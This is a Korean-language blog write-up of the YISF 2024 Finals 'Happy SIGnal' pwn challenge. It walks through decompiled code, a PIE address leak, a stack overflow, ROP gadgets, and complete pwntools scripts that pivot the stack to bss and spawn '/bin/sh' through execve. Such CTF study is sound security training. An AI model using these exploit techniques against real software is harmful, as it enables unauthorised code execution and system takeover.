Notice
Recent Posts
Recent Comments
Link
«   2026/03   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

Void

YISF 2024 Finals | Pwn - Happy SIGnal 본문

CTF

YISF 2024 Finals | Pwn - Happy SIGnal

pdw0412 2025. 1. 21. 09:28

YISF 2024 Finals WriteUp ↓

https://pdw0412.tistory.com/13

 

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v4; // [rsp+8h] [rbp-38h] BYREF
  int i; // [rsp+Ch] [rbp-34h]
  char *s[3]; // [rsp+10h] [rbp-30h]
  char *v7; // [rsp+28h] [rbp-18h]
  unsigned __int64 v8; // [rsp+38h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  sub_12C4(a1, a2, a3);
  sub_1329();
  v4 = 31;
  s[0] = "[OSOL] I am very happy today.";
  s[1] = "[OSOL] Today is my birthday today!";
  s[2] = "[OSOL] It's such a beautiful day!";
  v7 = "[OSOL] Thank you so much! OSOL is happy.";
  for ( i = 0; i <= 2; ++i )
  {
    puts(s[i]);
    printf("[>] ");
    if ( i )
    {
      if ( i == 1 )
      {
        sub_16EB(&v4);
      }
      else
      {
        if ( i != 2 )
          return 1LL;
        sub_18A2(&v4);
      }
    }
    else
    {
      sub_1675(&v4);
    }
  }
  puts(v7);
  return 0LL;
}

 

for문 안에서 함수를 3번 실행한다. 이 중에서 2번째 함수(sub_16EB)를 봐야한다.

 

 

__int64 __fastcall sub_174C(__int64 a1)
{
  char v2[136]; // [rsp+20h] [rbp-90h] BYREF
  unsigned __int64 v3; // [rsp+A8h] [rbp-8h]
  const void *retaddr; // [rsp+B8h] [rbp+8h]

  v3 = __readfsqword(0x28u);
  sub_17EA(a1);
  puts("[ARCH-prc service]\nTransmission failed");
  printf("error point : %p \n\n[>] ", retaddr);
  return sub_1647(0, (__int64)v2, 208LL);
}
int __fastcall sub_17EA(int *a1)
{
  size_t v1; // rax

  sub_1647(0, (__int64)off_4060 + 32, *a1);
  v1 = strlen(aOsolHappyBirth);
  if ( !sub_148B((char *)off_4060 + 32, aOsolHappyBirth, v1) )
    exit(1);
  if ( *a1 > 1280 )
    *a1 = 31;
  return printf("[%s] %s\n", byte_4040, (const char *)off_4060 + 32);
}
const char *__fastcall sub_148B(const char *a1, const char *a2, size_t a3)
{
  size_t v5; // [rsp+28h] [rbp-18h]
  size_t i; // [rsp+30h] [rbp-10h]
  size_t n; // [rsp+38h] [rbp-8h]

  n = strlen(a2);
  if ( !n )
    return a1;
  v5 = strlen(a1);
  if ( v5 > a3 )
    v5 = a3;
  for ( i = 0LL; i <= v5 - n; ++i )
  {
    if ( !strncmp(&a1[i], a2, n) )
      return &a1[i];
  }
  return 0LL;
}

 

함수가 많아 간단히 요약하면 sub_1647(read)를 통해 값을 읽어오고, 이 값을 aOsolHappyBirth와 비교한다. 만약 같은 경우, retaddr을 통해 pie_base를 얻을 수 있다. 이후 sub_1647(0, (__int64)v2, 208LL); 를 통해 bof가 return address부터 0x38만큼 발생한다. bof이후 rdx는 208(이전 bof 호출)이므로, rdi, rsi를 수정해 read(0, bss, 208); 로 bss에 rop chain을 만들 수 있다.

 

...
0x000000000000159a : pop rax ; syscall
0x0000000000001487 : pop rbp ; clc ; leave ; ret
0x0000000000001293 : pop rbp ; ret
0x000000000000159e : pop rdi ; ret
0x00000000000015a0 : pop rsi ; ret
...

 

가젯이 많은데, syscall 까지 존재한다.

 

 

from pwn import *

def log(n, a) : print('[*]', n, ':', hex(a))

p=process('./prob')
e=ELF('./prob')

p.sendafter(b'[>] ', b'pdw0412')

p.sendafter(b'[>] ', b'pdw0412')

p.sendafter(b'[>] ', b'OSOL! Happy Birthday!!')
p.recvuntil(b'error point : ')
pie_base=int(p.recvline()[:-1].decode(), 16)-0x1729
log('pie_base', pie_base)

pop_rax_syscall=pie_base+0x000000000000159a
pop_rdi=pie_base+0x000000000000159e
pop_rsi=pie_base+0x00000000000015a0
leave=pie_base+0x0000000000001673

plt_puts=pie_base+e.plt['puts']

func=pie_base+0x0000000000001647
bss=pie_base+0x4a00

payload=b'a'*144+p64(bss-8)
payload+=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss)+p64(func)
payload+=p64(leave)

p.sendafter(b'[>] ', payload)

 

func는 sub_1647(read)의 주소다.이제 bss에 syscall을 이용해서 execve('/bin/sh', 0, 0);를 하면 되는데, 문제는 rdx를 0으로 만들 가젯이 없다는 것이다. 이건 puts()로 해결할 수 있다. puts() 실행후 rdx를 0으로 만들 수 있고, rdi, rsi는 가젯으로 컨트롤 할 수 있다.

 

 

from pwn import *

def log(n, a) : print('[*]', n, ':', hex(a))

p=process('./prob')
e=ELF('./prob')

p.sendafter(b'[>] ', b'pdw0412')

p.sendafter(b'[>] ', b'pdw0412')

p.sendafter(b'[>] ', b'OSOL! Happy Birthday!!')
p.recvuntil(b'error point : ')
pie_base=int(p.recvline()[:-1].decode(), 16)-0x1729
log('pie_base', pie_base)

pop_rax_syscall=pie_base+0x000000000000159a
pop_rdi=pie_base+0x000000000000159e
pop_rsi=pie_base+0x00000000000015a0
leave=pie_base+0x0000000000001673

plt_puts=pie_base+e.plt['puts']

func=pie_base+0x0000000000001647
bss=pie_base+0x4a00

payload=b'a'*144+p64(bss-8)
payload+=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss)+p64(func)
payload+=p64(leave)

p.sendafter(b'[>] ', payload)

payload=b''
payload+=p64(pop_rdi)+p64(bss)+p64(plt_puts) #rdx=0
payload+=p64(pop_rdi)+p64(bss+0x48)+p64(pop_rsi)+p64(0)+p64(pop_rax_syscall)+p64(0x3b)
payload+=b'/bin/sh\x00'

p.send(payload)

p.interactive()

 

ret2syscall로 문제를 풀었지만 syscall가젯이 있기 때문에 정말 다양한 풀이가 가능할 것이다. orw 해도 상관없고, srop로도 해결할 수 있을 것 같다(문제 이름이 SIGnal인걸로 보아 srop가 인텐인것 같다). 굳이 ret2syscall을 선택한 이유라면  rdx를 컨트롤할 로직을 찾지 못해 최대한 짧은 코드로 익스하기위해 선택했다.

'CTF' 카테고리의 다른 글

EHAX CTF 2025  (0) 2025.02.17
CCE 2024 Quals | Pwn - Untrusted Compiler  (0) 2025.02.03
UofTCTF 2025 - Pwn (4/6)  (0) 2025.01.15
Layer7 CTF 2024  (0) 2025.01.13
제 5회 JBU-CTF  (1) 2024.12.16